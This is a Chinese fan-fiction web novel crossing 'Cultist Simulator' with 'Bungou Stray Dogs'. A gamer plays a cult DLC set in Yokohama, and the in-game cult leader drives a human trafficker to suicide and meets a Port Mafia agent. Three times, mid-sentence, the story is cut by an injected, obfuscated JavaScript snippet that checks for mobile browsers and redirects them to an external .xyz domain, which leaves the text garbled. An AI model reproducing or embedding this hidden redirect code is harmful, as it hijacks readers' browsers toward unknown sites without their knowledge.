《我在横滨建密教》 1. 第 1 章 周五晚,当然是周五晚。 你带着一身怨气下班回家,斥80块钱巨资点了连锁餐厅的外卖,从冰箱里掏出冰可乐猛灌一口,在碳酸饮料凉爽气泡的洗涤下,原本毒妇般的眼神都瞬间清澈了。 你在精心布置过的三连屏显示器前坐下,然而,在屁股碰到坐垫的一瞬间,你突然悲伤地意识到,自己陷入了微妙的电子养胃境地。 之所以说微妙,是因为努力一把,你好像还是可以,但对象必须要足够符合你的心意才行。 你兴致缺缺地翻动着你那一眼望不到尽头的steam游戏库,一串串白色的文字从你的视网膜上滑过去,却最终都坠入了一片虚无的贤者时间。 你决定鉴定一下互联网热门电子游戏。 《百日战纪 -最终防卫学园-》?嗯,你只能说小高在小白书上卖力圆角是有理由的,但是销量依旧不佳也是有理由的。 你是谁?请支持百日战纪。 Pass。 《仙肴圣餐》? 呃,这不能在这里播吧? Pass。 《苏丹的游戏》? 工作日已废寝忘食通关革命线和屠龙线,至于血刺呼啦的密教线?心理脆弱的中老年人看不得这个。 Pass。 《赛博朋克2077》? 多少年前的老皇历了?上班被上司骂,下班还要找个祖宗一边做任务一边对自己评头论足,你又不是抖M。 对不起强尼银手,你最爱的赛博搭档前三名分别是金曷城、金曷城以及金曷城。 Pass。 既然都说到金曷城了,那《极乐迪斯科》? 喜欢家迪的超绝晦涩意识流长难句吗?说话! 抱歉,你不考四六级很多年。 Pass。 《艾尔登法环》? 众所周知,魂系游戏是主机游戏玩家的时尚单品——你可以不喜欢,但不能没有。 对你来说,BOSS击杀截图就像po在社交平台上的奢侈品包,评论区的人大呼好有实力,你背着它在网红咖啡厅里超经意露出,低头浅笑,故作毫不费力,一切看起来都很chic。 但只有你自己知道,其实你背板背得奄奄一息,镜头外显示屏都快一怒之下被你的游戏手柄砸穿了。 没有在休息时间虐待自己的兴趣。 Pass。 鼠标滚轮越滑越快,突然,合成大西瓜,不,《密教模拟器》的名字映入了你的眼帘。 动态栏显示,它更新了新的dlc。 咦?怎么一点也没听到消息?你略感诧异,点开了详情页面。 稍微在脑内翻译了一下那一如既往抽象的文案,你大概明白了这个名叫【人子】的dlc的内容。 它的内容和它的价格一样美丽,全新机制,全新地图,海量文本,上百个NPC,上百种结局,这次密教世界观终于走出大不列颠,飞向了另一个岛国——远东的神秘港口城市,横滨。 你将在这座城市错综复杂的地下势力之中,语及怪力乱神,组建自己的教派,成为地下世界的无冕之王,传播无形之术,对抗本土神明和外神,让司辰再次伟大! 正如dlc的名称——人子,你所做的一切皆为神的旨意,你的权柄、荣耀和国度皆由司辰给予,你是弥赛亚,是君王,是审判万民、执掌王权的主宰,是新世界的卡密。 你看完简介,在内心锐评,符合你对欧美人日本情结的刻板印象。 锐评归锐评,你久违地来了兴致,很有点在新世界里建功立业的万丈豪情,毫不犹豫地添加购物车,付款,下载,一气呵成。 在等待安装完毕的时间里,你简单地网上搜索了一下相关攻略,居然毫无情报,你略感怪异,但还是深吸一口气,做好了奋战至天明的准备。 毕竟弱引导三十小时上手的地狱难度合成大西瓜岂是浪得虚名? 伴随着下载进度条推到100%,熟悉的文字出现在屏幕上。 【林地生长于漫宿墙外。每一个研习诸史的人都知道,漫宿无墙。 —— 克里斯托弗·伊利奥波里】 一如既往晦涩的文字过后,身披黑袍,白肤红唇,半遮半掩地扯下虚虚掩盖的人皮,露出内里燃烧的妖异紫色火焰的看板女郎冲你眨眼,露出神秘的微笑。 你略感违和,但没有多想,在主菜单上选择以【人子】开始游戏。 久违的青蓝色桌面覆盖你的屏幕,背景音乐的氛围神秘,隐约可闻潮水涌动,与之一同跳出的,是文本框。 【我被海浪的声音唤醒,这是一处着人类恶臭的下层甲板,咳嗽声如死亡般盘旋在我耳边,船只即将靠岸,最好在那之前想起我的来历。】 文本框旁,卡槽散发着金光,下方的青蓝的桌面上从左到右排列着健康,理性,激情三张卡牌。 多年玩游戏的经验让你一秒get,这是经典的选出身环节,你大感惊奇,这确实和这款游戏之前的机制大不一样。 你思考片刻,拖起一张理性放入框中,按下确定。 光圈流转,新的文字出现。 【我以冷彻的理性回顾脑海中的记忆碎片,可能有帮助—— 我回想起薄暮群屿的风暴,贯彻天地的闪电照亮天空的一隅,黑色巨蟒的尸首向我臣服,而我亦失去颇多。】 新的文本框跳出。 【奉献我所剩无几的所有物,或许能想起更多。】 与之前相同的三张卡牌再次出现,这回你没再犹豫,拾起一张激情放入卡槽。 笑死,玩过前作的都知道,健康是出生自带的属性,总不能让角色死着开局吧? 你乐观地想,嬉皮笑脸地按下确定按钮,下一秒,出现的文本框让你不嘻嘻。 【我以炽热的激情唤醒沉睡的过去,可能有帮助—— 我没有死,但也算不上活着,我的身体几经转手,意识于漫宿中游荡,我被人蛇送上这艘开往远东的奴隶船,既然现在我已回归醒时世界,是时候给这群胆大无知的冒犯者一个教训了。】 你茫然地看着游戏界面上的文字,“算不上活着”是什么意思? 真让人死着开局啊? 你定了定神,继续游戏,一阵激荡的白光闪过,青蓝色的桌面上多了不少卡牌,你一样一样检视过去,打算看看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740171|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底roll出了一个什么开局。 【身无长物:时间不会等待任何人,我的追随者在我失踪后四分五裂,我的财产被瓜分殆尽,但或许仍有什么留下,可以问问人蛇头子。】 【二度降生者:我记得我曾作为没有实体的不朽者漫步于太阳的居屋,但有件事只有我重获肉身才能解决。如今,若我重返太阳的居屋,我将被追捕并遭惩罚;若我仍留存于肉身,我将被追捕并遭吞噬。我需要第三个选择。留在这座城市,成为司辰们地上的代行者,散播无形之术,就是一种第三个选择。但或许不止于此。】 【健康(半亡):我是非生非死之物。】 【理性:在完全现实的情况下,有机体不可能长久地存活下去。——雪莉·杰克逊】 【激情:迟钝的头脑既缺乏直觉,也不通逻辑。——布莱士·帕斯卡】 叽里咕噜地说什么呢? 你在脑内简单翻译了一下这些晦涩不明的语句,大致有了些猜测。 显然,这个dlc是本篇的if线,你的人子曾是个在大不列颠叱诧风云的邪教头子——很不幸,创业未半而中道崩殂,大概是在探险过程中和名为【幼妹】的一生之敌巨蛇同归于尽了。 但是组织很看好你的前途,毕竟你的人子是在拿着阉割版也能在多重历史中达成三年长生五年具名的密教天降紫微星,所以司辰们现在给你第二次机会,把你发配到无形之术衰败的远东岛国来传教。 传得好,你就是人子,司辰们在地上的代言人,密教界的救世主,纪年法将以你的诞生日为界,划分出公元前和公元后。 传得不好,那就不好意思了,从灵魂到身体,司辰们大概不会放过你。 你45度望天,感觉到一种涉世未深的大学生一脚踏进血汗工厂般的忧郁。 但你很快就想开了,决定把这个工作当成一个销售岗,无底薪无社保纯提成的那种,但正所谓搏一搏,单车变摩托,实在不行你还有sl大法。 你将鼠标放在取名框上,颇有仪式感地决定给你的人子取个名字。 片刻后,你微薄的学识让你认识到,你无法独立完成这个艰巨的任务。 你放下鼠标,开始在小白书上搜索,“天选之人英文男名”,“英文男名小众高级”,“英文男名宗教感强”。 三十分钟后,你从快乐的短平快电子海洋中意犹未尽地退出,意识到应该继续干点正事。 在这个时代,和滑手机相比,连打游戏都算得上是正事。 你从这个想法中汲取了一点地狱笑话般的快乐,面带微笑在键盘上敲敲打打,给你的人子取好了名字。 米迦·莫里斯。 小白书告诉你,米迦的意思是“谁是上帝”,听起来很狂,很离经叛道,你很满意,而莫里斯则意为“黑暗皇冠”,作为既定的地下世界无冕之王,实在是太神秘威严啦! 同时,你的直觉正在告诉你,这个名字在英语母语者耳朵里狗屁不通。 你决定忽视你的直觉。 你解除暂停,于是米迦·莫里斯正式降临这座城市。 颤抖吧,横滨! 你要荣耀为你俯首。 2. 第 2 章 【初来乍到,我需要一个引路人,人蛇头子已在这座城市浸淫多年,想必知道些什么,但此人是个硬骨头,想从他嘴里问出话来,可能要费一番工夫—— 奉献你的理性、激情或健康】 你的鼠标在三张卡牌上游移,犹豫了一会儿,决定使用排除法。 健康是肯定不行的,你的健康都“半亡”了,乱用别开局5分钟直接回收一个死亡结局。 理性,虽然你没有统计过,但体感这张卡的使用频率实在是很高,在开局资源有限的情况下,你更偏向把它往后押一押。 既然如此,就只有一个选项了。 你将激情拖进了卡槽中。 …… 海风咸腥,港口的雾气像潮湿的手掌温柔地拂过裸露的皮肤,留下一点黏糊糊的触感。 藤卷信独自坐在最上层的船长室里,这艘人蛇船是从旧型号的渔船改过来的,已经相当老旧,即使是船长室也显得简陋破败。 但他毕竟是懂得享受的人,即使是艰苦的海上生涯,也要抽古巴雪茄,他从怀中掏出一把黄金雪茄剪,咔哒一声剪下烟头。 火苗在昏暗的房间中“蹭”地照亮一隅,摇曳的烛火映出半月形窗户里不知何时出现的人影。 他深吸一口,吐出浓烈的烟雾,像是一头腐烂的野兽从鼻腔里喷出毒气,他没有回头,不动声色地开口。 “你是怎么到这里来的?” 人影没有回答。 藤卷嗤笑一声,不再过多纠结,伸手去够桌上的无线电。 偶尔会有这种情况,船上的货物走了狗屎运,从货舱逃了出来,然而,这并不会改变什么,他们在大海上,四面都是茫茫的海水,除非长了翅膀,或是宁可跳海喂鲨鱼,没有人能成功逃出去。 船天亮之前就能抵达横滨,他并不打算在这个节骨眼上多生枝节。 之后得抽空让手下那帮小子紧一紧皮了啊,连个货物都看不住。 他漫不经心地想着,按下无线电的通讯按钮,在漫长的电子杂音之后,无人应答。 出意外了! 多年刀口舔血的经验让他立刻反应过来,有什么地方出了差错。 背上的汗毛一根一根地竖了起来,能从一介街头混混坐到现在这个位置上,藤卷并不算蠢人。 他慢慢转过身,终于正眼打量起了这个突然出现在船长室的“货物”。 那是一个二十出头的年轻人,和所有货物一样,瘦削,奄奄一息,衣衫褴褛,要说有什么特别的地方,那就是那过分惨白的肤色,简直如同死人。 藤卷记得他,不在原定名单上,在这批货里也算“特殊物品”。 藤卷是在伊斯坦布尔的黑市买下的他,卖家声称,青年是某项“异能实验”的报废品,虽然实验基本让他变成了一个植物人,但和异能力沾边的一切都很昂贵。 “就算不提这个,看看他这张脸。”黑市商人像展示牲畜一样,挟住瞳孔无神,双目微阖的青年的下巴,左右展示着青年端正的面庞。 藤卷凝视着他,正如黑市商人所说,青年没有意识,但这并无损于造物主为他降下的馈赠,反而让他看起来更像某种艺术品了,那惨白的肤色不正是古希腊雕塑家刻刀下大理石的颜色吗? 藤卷认识不少买主,他们正好这一口。 “你要多少?” 黑市商人比了数字。 藤卷笑了,略带血腥气的笑容。 “当然,当然,”他说,“他值这个价钱,但那是从我手里出去的价格,不是你。” 那场交易最后还是成交了,藤卷很满意,至于黑市商人满不满意,就不在他的考虑范围内了。 现在想来,面对他的压价,那个商人简直爽快得诡异,或许他早就预料到了有这么一天,只想尽快甩掉这个烫手山芋。 藤卷嘴里发苦,然而表面上,他只是镇定自若地开口,“你想要什么?” 黑暗中,青蓝色的瞳孔轻轻地凝在了他身上,青年微笑起来,和他昏迷时截然不同,那双眼睛里有种无机质的非人感,令人心里发毛。 如果当时看见的是这双眼睛,藤卷无论如何也不会把他当成一件任人鱼肉的商品。 “你的所有。”青年回答。 藤卷被气笑了,他猛抽了一口嘴里的雪茄,将剩下的大半碾灭在桌子上,红色的火星晦暗不明地跳动着。 下一秒,他从后腰抽出枪,对于他这种人来说,瞄准是一种本能,他毫不犹豫地扣下扳机,已经预想到了青年躺在血泊中的景象,然而,那并没有发生。 因为空间扭曲了。 那并不是某种视觉上的错觉,而是整个船舱的物理结构,都像被某种高概念的存在修改了。 地板、墙壁、灯光、空气中飘浮的灰尘,以青年为中心,一切都产生了轻微的变形,如同扭曲的水波,微微荡漾着。 他看着眼前背手站立的青年,射出的子弹穿过他的身体,就像穿过一片薄薄的夜雾。 简直如同神迹。 藤卷微微颤抖着,就在刚才,他想起了一件事,一件被他遗忘的事。 他没有在抽雪茄。 最后一根昨晚就已经抽完,船即将靠岸,马上就有补给,自然也不必再节省。 为了应付接下来那繁琐的卸货、交易,他早早躺上那张货箱改成的床铺,打算多少睡上几个小时。 这是梦,但或许不止是梦。 藤卷感觉到自己在流泪,他这一生做过不少坏事,也从没有后悔过。 然而,此刻,在神明的注视下,所有感官都像失调一样过载,连那浅薄的良心都像是突然被放大了,与之一同放大的,是如同过敏反应般,激荡到异常的情感。 他再也伪装不了冷静,却仍然试着谈判,颤抖着声音开口。 “如果要复仇,那你找错对象了,我只是个二道贩子,我可以告诉你那个出卖了你的家伙的信息,如果你需要的话,我可以帮你调查任何事。” 青年无动于衷。 他感觉自己的手已经不受自己的控制,仿佛有自主意识一般,缓慢地移动起来。 他拼命调动着肌肉去抵抗,枪口却已不容置疑地抵上了下颌,食指扣上了扳机。 现在,他几乎是在求饶了,“不、不,我不想死。” 在他扣下扳机的前一秒,青年突然动了,他缓慢地走过来,如同为信徒受洗一般,将手掌按上他的脑袋,轻声说,“比起死亡,我可以给你更好的东西。” “所以,向我告解吧。。” “主会给你宽恕。” 藤卷从默默流泪转为嚎啕大哭,他语无伦次,哽咽着,抽泣着,将自己的一切事无巨细地坦白。 从五岁的时候掀邻居家女孩子的裙子,讲到为了出人头地如何杀人越货,从第一次违法犯罪,讲到如何建立起庞大的人口产业链。 然后他终于说出了,被他隐藏在心底的,那无法向任何人袒露的,或许能被称为创伤的东西。 “我杀了妈妈,我杀了给我生命的女人。” 青年垂眸默默听着,藤卷不知道自己是何时停下的,就像是把身体内积累的污秽一次性都倾泄了出来,他的心情是从未有过的轻松,然后,青年伸手为他抚上了眼睛。 “睡吧,当你醒来时,你的灵魂将重新洁白。” 他的语调甚至称得上温柔。 “我宽恕你。” 就像婴儿回到了母亲的羊水中,藤卷带着安详到诡异的微笑,顺从地闭上了眼睛。 他能感觉到,青年冰凉的手握住了他的手,他想起一些往事,十岁第一次学会开枪的时候,父亲是如何手把手地纠正他的姿势。 “男人要做大事。” 父亲紧紧地握着他颤抖的手,话语带着灼热的呼吸,穿透贴着脑袋的短短发茬,喷洒在他的耳朵上,让他很不舒服。 “你不是小孩了,你知道什么是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740172|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确,是吗?” 枪口游移着,鼻青脸肿地倒在地上,一直被叫作“妈妈”的女人面露惊恐。 “我们要给背叛的人惩罚。” 手指按上了扳机。 “砰”。 沉重的枪响,子弹没入血肉的声音。 只不过,和记忆里实际发生过的事情不同,这一次倒在地上的人,是父亲。 小小的藤卷信甚至没有回头多看一眼,他毫不犹豫地把枪扔在了血泊中,就像把他短暂人生里所有错误的选项全都扔掉了一样。 然后,向前奔跑,冲进了妈妈的怀抱。 妈妈的手臂好温暖啊,妈妈身上的味道甜甜的,妈妈…… 他微笑着,闭上眼睛,被想象中的母亲引渡着,沉入永不醒来的,安详的睡眠。 他最后听到的,是脚步声,那是某人走向书桌,从抽屉里取走了什么东西的声音。 …… “真让人不舒服啊。” 兰堂将视线从眼前面带微笑的尸体上移开,落到发话的领队身上。 兰堂加入港口黑手党不到两年,虽然是异能者,但因为来历不明,始终得不到现任首领的信任,所以至今未得重用。 这次和人蛇船的对接,他也仅仅是作为随行的武装人员,并没有指挥权。 本以为不过是和往常无异的守卫任务,连开火的可能性非常小,毕竟港口黑手党在横滨的地下世界也算威震一方的势力,区区人口贩卖的微薄利益,还没有组织愿意为此与之为敌。 然而,意外发生了。 早就过了约定的时间,人蛇船却迟迟没有靠岸,意识到不对劲的行动队长,试图联络船只,却得不到任何回应。 他们沿着海岸线搜寻了几个小时,最终在这处偏离目的地3海里的海岸发现了人蛇船的踪迹。 这艘从破败渔船改造过来的人口贩卖船静静漂浮在海面上,随着潮水的涨落摇动,他们戒备地为枪支上膛,谨慎地登船,预防着可能发生的袭击,然而,什么也没有。 连活人也没有。 船只安静得像一具漂浮在海上的巨大棺材,尸体,零零散散地分布地躺在船舱内的各处,而他们甚至找不到打斗的痕迹。 因为他们都是自杀。 在得出这个荒谬的结论的时候,有个年纪小的成员忍不住叫出了声,“这怎么可能?” 领队没说话,他心里大概有些猜测,于是看向了兰堂的方向。 船长室内,兰堂正蹲下检查藤卷的尸体,指尖触碰那僵硬的额角,像是被寒气冰封的蜡像。 藤卷的眼珠翻白,子弹从他的下颌射入,几乎搅碎了整个头颅,然而,他尚且完好的面皮却依稀能够看出,那嘴角是在微笑。 就像看到了某种解脱一般。 这里的每一具尸体都是这样的死状。 “兰堂君,”领队开口了,“你是异能者吧?你觉得,异能力能做到这种事情吗?” 兰堂紧了紧脖子上的围巾,虽是夏日,清晨冷彻的海风依旧吹得他手脚冰凉。 “……异能力多种多样,如果是精神控制系的异能者的话,这种事情想来也不难做到。” 领队点点头,“我也是这么想的,那我就这样上报首领吧,身份不明的异能者袭击了船只啊。” 兰堂没有异议,只是,他没有说出口的是,即使是在异能繁盛的欧洲,精神系的异能者也并不多见。 因为稀少,所以珍贵,往往刚崭露头角,就被各大势力招揽,或者更坏一点,强制收编,沦为工具。 这件事后面可能有大型异能组织的手笔。 虽然如此,兰堂并不打算上报。 否则,他就必须解释,为什么他会对欧洲异能界的事情知之甚详,而其中的理由,连他自己,也早就忘却了。 突然,他若有所觉,偏过头,看向房间内那张锈迹斑斑的铁桌。 那上面,残留这半截被按灭的雪茄。 3. 第 3 章 你看着满桌面的【人类尸体】卡牌,和一张硕大的【邪名】,陷入了沉思。 你试图回想事情是怎么变成这样的。 你还记得你一通排除法后,选择把【激情】卡拖进了交谈事件的卡槽,本以为能看到一通动之以情,晓之以理的精彩辩论,像隔壁柯学世界一样,把犯人说得跪地痛哭。 没想到你的人子往甲板上一躺,闭上眼睛,直接就入梦了。 你记得本篇入梦这个环节有诸多限制,但显然这个dlc不一样,你的人子回漫宿和回家一样。 【如果我有足够的激情,我便能将此人引渡至梦中小路,在那里,我们将赤诚相待,他谅必会袒露心声。】 当看到这段文案的时候,你还没有意识到事情的严重性,接下来的发展急转直下,只能说,从结果来看,犯人确实被说得跪地痛哭,坦白了从小到大所犯的一切罪行,然后一枪把自己崩了。 你汗流浃背。 这下真变成吾好梦中杀人了。 不过这一通下来,确实收获颇丰。 【战利品: 我打开货舱,与我同行的货物们躲避手电筒的光束如黑暗中的老鼠,我告诉他们——你们自由了,他们在短暂的迟疑后四散逃走,他们是我的诱饵,我的遮蔽物,或受我引诱的羔羊。他们会将我的名声散播遍这座城市,就像河流汇入海中。 我检视了船上的角角落落,我刮了胡子,换了衣物,带上钱包和伪造的证件……现在我又成了一个体面的绅士了。 有用来开门的钥匙,也有用来毁门的钥匙,我找到了一样不寻常的物品。 书籍是不死的记忆,这些文献可能会有帮助。】 我超,碎门之钥。 你看着桌面上从船里搜出来的道具,双眼放光。 在本篇里,这可是通关了也不一定能搜到的神级道具,有了这个,就能无限制地通往漫宿的最高层——至少是凡人能到达的最高层——孔雀之门了。 所谓的漫宿,简单来说,就是密教世界观下的神明——司辰的居所,凡人要想进入司辰的居所,必须以梦境为媒介,有时还需要送上一点祭品,像活人啊,道具啊之类的,总之非常的密教。 既然是祭品,那用完之后,必然是不会还给你的,纯纯的一次性消耗品。 但碎门之钥不一样。 【一声音叉的嗡鸣使我手中的钥匙随之跳动,孔雀之门呻吟以回应之。它的表面划过一轮快感带来的波动。它期盼着碎裂,当它得到满足时,我便可以进入。】 从这段游戏文案来看,这扇抖M门从碎门之钥上收取的祭品大概是快感,嗯……你决定不去细想。 总之,既然是司辰的居所,那么能够获取的,必然就是游戏最顶尖的资源,像是失落已久的神代语言、被世界隐藏起来的秘密历史之类的。 没想到做外派教主隐性福利待遇这么好。 你美滋滋地清点着桌面上的物品。 15枚金币,富二代开局也没有过这么庞大的资金。这下不用去码头搬砖了,你感激涕零。 《白骨之书》,8阶冬属性密传文献,附赠日落仪式,读完直接实现高阶召唤物自由。 碎门之钥,神器,不必多说。 名望,这个倒是本篇没有出现过的卡牌,你好奇地点开文案。 【名望(1阶):藉藉无名。 为了散播无形之术,我应当扩大我在醒时世界的影响力,展现神迹,成立教会,扩招信徒,抑或有足够的邪名。】 你心下了然,看来这就是这个dlc的核心玩法了。 但是,升这个东西可以吃邪名?还有这种好事? 要知道,本篇的邪名基本等同于罪证,只要有邪名在桌面上,防剿局的警探们就像是闻到了腐烂气息的苍蝇一样,源源不断地飞过来,势必要把你送进局子里,而进局子则意味着game over,让你烦不胜烦。 刚好,你的桌面上现在就有一张邪名,尽早处理掉吧,这样想着,你试着把名望拖进研究里,光圈流转,空白卡槽很快出现。 【提升我的名望——神迹、组织、追随者或邪名。】 有意思! 光看文案内容你已经想象出了之后丰富的游戏内容,但眼下有更重要的事,你把邪名放进卡槽,倍速播放。 光圈流转,你兴致盎然,没盎然多久,下一秒,熟悉的黄底脚印图标“蹭”地从一旁蹦出来,在短暂的加载过后,冷酷无情地吸走了那张你正在合成中的邪名。 啊,这种熟悉的功亏一篑的感觉,真是令人着迷啊。 黄底黑脚印的图标,象征的是疑心暗起的时节,也就是防剿局猎人出没的征兆,只是,dlc都跑到远东来了,这里也会有防剿局吗?们防剿局还是跨国机构? 这样想着,你点开了事件的文案。 【不合时宜的关注:这个城市充斥着记者、警探和其他好事家。他们能让我安宁多久? 事过留痕,这座城市的地下势力盘根错节,我在人蛇船上的行事引来了港口mafia的关注。此人可能会搜寻我行动的证据,或者更坏,让我用命来偿还。】 你目瞪口呆,不是?你们这城市这么野?黑手党执法是吧? 好家伙,这dlc给你干哪来了?怕不是进了哥谭吧? 事件结束,除了之前被吸走的邪名,你还收到一张猎人卡。 你翻开这张新鲜出炉的猎人卡,卡面上的立绘很有几分姿色,让你忍不住盯着多看了几秒。 微卷的黑色长发,面容苍白,雕塑般立体的五官。 这人能泡吗?你想入非非,随手点开卡牌的简介。 【港口maifa成员兰堂:他的过去隐藏于一片迷雾之中,他的现在是一名严酷而残暴的黑手党。无论如何,这个国家都太冷了,不是吗?】 你看着他下方的标签,【异能者】【黑手党】【忘却者】【被神注视之人】【15阶冬】。 你正刺溜刺溜地吸着爆爆珠,看到这句话,差点把嘴里的奶茶喷出来,注视着屏幕,双目无神,眼神呆滞。 夺少?15? 这人怕不是已经飞升过了吧? 你静默片刻,毅然决然地把那本静静躺在桌面上的《白骨之书》拖进研究里。 现在的你,迫切需要一张密传。 所谓的密传,指的是有关无形之术的知识,一般只能通过看书获得,游戏里一共有灯铸刃冬心杯蛾启八种密传,还有一种名为秘史的密传,比较特殊,暂且不提。 就像修真文里的灵根一样,八种密传象征了八种不同方向的道路,启明的灯,锻造的铸,斗争的刃,消逝的冬,生命的心,欲望的杯,混沌的蛾,洞开的启。 当然,这是比较笼统的说法,细分起来简直无穷无尽。 本篇之所以被玩家们戏称为合成大西瓜,就是因为游戏的核心玩法基本上就是合成更高阶密传。 密传可以用来吸引追随者,举行仪式,开启通往漫宿的道路,或是寻觅飞升之法……当然也可以用来策反猎人,总之,这个游戏没有密传简直寸步难行。 现在,你迫切地想要策反这个名为兰堂的天生冬属性圣体黑手党,而你手中恰好有一本暗藏冬属性密传的文献。 什么名望啊,邪名啊,通通往后靠。 你现在对此男势在必得。 短暂的加载后,书读完了,给了一张名为“骨白鸽祷文”的8阶冬密传。 你摩拳擦掌,把兰堂和密传一起拖进交谈里。 策反,通通策反。 当什么黑手党?哪有跟你的人子一起搞密教有前途? …… 幽暗的旧剧院,天花板上高悬着的水晶吊灯早已熄灭,厚重的红帷幕半掩着一方斑驳舞台,尘埃在微光中如细雪般缓缓沉降。 兰堂的视线缓缓扫过这富丽的厅堂,剧院内座无虚席,看不清面孔的观众们全身贯注地凝视着眼前的演出。 舞台上是一座腐朽的元老院,柱影倾颓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740173|174131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、地砖龟裂,仿佛一切都行将崩塌。 人影憧憧,聚光灯却只打在舞台中央的二人身上。 “我吻你的手,可是这不是向你献媚,凯撒。”像是忍受着某种痛苦,聚光灯下,白袍男子垂眸避开皇帝惊疑的视线,“请你准许坡勃律斯·辛伯立刻恢复自由。” 兰堂认出这出戏是《裘力斯·凯撒》,说的是古罗马时期,为了防止独裁者的出现,共和派刺杀凯撒大帝的事件。 此时念台词的是剧中的人物勃鲁托斯,他虽曾是凯撒的好友,并得到他的提携,但为保卫罗马共和与自由的理想,毅然担任了“叛党”的领袖。 这些知识就像某种镌刻进了身体的本能。他虽然知道这些,但已经忘记了自己为什么会知道。 突然,像是察觉到了什么,兰堂的目光从舞台上移开,落在身侧,间隔了一个空座椅的位置。 那里不知何时,落座了一个青年,青年西装革履,单手支颐,百无聊赖地看着台上的戏剧。 这种无聊不是因为不感兴趣,而是出于某种看过千百遍的司空见惯。 “啊,兰堂先生,你来了。”像是察觉到了兰堂的视线,他微微偏过头,露出一个微笑。 那笑容算不上热络,但非常自然,像是对阔别已久的旧友的问候,至少不是一个逃亡者该应该对追捕他的猎人露出的表情。 “你不逃吗?”兰堂于是问,他将双手插在大衣的兜里,借着口袋的掩饰,手枪已经瞄准了青年。 “在剧院里做这种事,可就太不解风情了。”像是察觉到了他的动作,青年微微垂眸,却依旧从容自若,“离落幕还有点时间,我们大可以先谈谈。” “你在拖延时间?” “算不上,”青年温和地笑着,目光落在兰堂的脸上,却像是穿过了皮囊,在注视什么更加久远的事物,“只是想聊聊天……您对自己的故事不感兴趣吗?兰堂先生。” “不,或许,你更愿意被叫作兰波先生?”他彬彬有礼地询问,那简短的音节落在兰波的耳中,却像扔下了一个惊雷。 然而,出于某种他自己也已经遗忘了的,却如同本能般镌刻在身体里的职业素养,他对这个问题不置可否,而是以问题来回答问题。 “……你是英国人?”这是他从青年的口音中觉察出来的。 “是的,米迦·莫里斯,如果你愿意的话,叫我米迦就好。” 舞台上,戏剧仍在继续出演。 身披赤袍的皇帝怀着某种崇高的信念,慷慨陈词,“如果我是你这样的人,我就会大受感动!如果我是能被哀求的方法去打动的人,我也会被哀求所动!” 沉浸在自己磐石般的意志中的皇帝,在他视线所未能及的角落,身后的亲信面露忐忑,心不在焉地扫视着四周,迅捷地掏出了早已藏在衣袍中的短剑。 这是一场错位的对谈,当一方还在阐述理念时,另一方已经下定决心,要以血来终结。 这大抵是因为,背叛者总比被背叛者先尝到胜利的芬芳,当它变成一块悬在嘴边的佳肴,一种唾手可得的可能性,你就再也无法忽视它的气味。 现在,背叛者需要做的只有一件事。 对曾亲密无间的友人呲出獠牙。 “何必这么戒备呢?兰波先生,”米迦轻声说,语气近乎怜悯,“我们都是一样的人。” “醒来,在一个陌生的城市,被人告知,你是什么样的人,你应当做些什么。” 他伸手指向兰波,“你是兰堂,你现在是黑手党。” 他将那只手按回胸口,“我是米迦·莫里斯,是挑衅了港口黑手党威严的无知罪人。” “……你认识我。”兰波确信地开口。 “不,我不认识。”米迦缓慢地摇头,“但是我的神记得,他记得所有被遗忘的人,被剥夺的故事。” 他读懂了兰波脸上那略带异样的表情,于是笑着问,“你不信神,是吗?” “即使你曾经与一位人造的神明那样亲密无间?” 4. 第 4 章 舞台上,围剿已经开始。 “让我的手为我说话吧!”像是被皇帝强硬的态度所激怒,背叛的臣子高高举起手中的短剑。 伴随着这声宣告,短剑落下。 利刃从四面八方刺来,威严的皇帝被曾经的亲信们围住,却困兽犹斗,如同一头被激怒的狮子,虽然已知是徒劳,仍然不屑地挥开鬣狗们的身体。 他满脸是血,跌跌撞撞地从台阶上滚落,已然浑身伤口,他的挚友勃鲁托斯接住了他。 二人亲密无间地拥抱,正如世间每一对曾交付后背的至交,然而,此时这位友人背在身后的手上,同样执着短剑。 “太阳底下无新事。”米迦将视线转回戏剧上,意有所指地喟叹,“世界上所有的背叛都是一样的,不是吗?” 兰波沉默不语。 聚光灯撒下,皇帝后仰身体,他钢铁般的意志像是突然就瓦解了,双手捧住勃鲁托斯的头颅,像是要尽力看清这位昔日友人的面孔,在行背叛之事时,那张脸上是否也曾有过一丝痛苦?一点不忍? “连你也背叛我吗,勃鲁托斯?”含着血的声音已不复独白时的清晰有力,就像是被抽走了最后一丝力气,皇帝悲凉地说,“那么,凯撒就倒下吧!” 勃鲁托斯扶着皇帝的后颈,以拥抱的姿势,怒吼着,仿佛只有这样他才能鼓起勇气,将利刃掼入了挚友的身体。 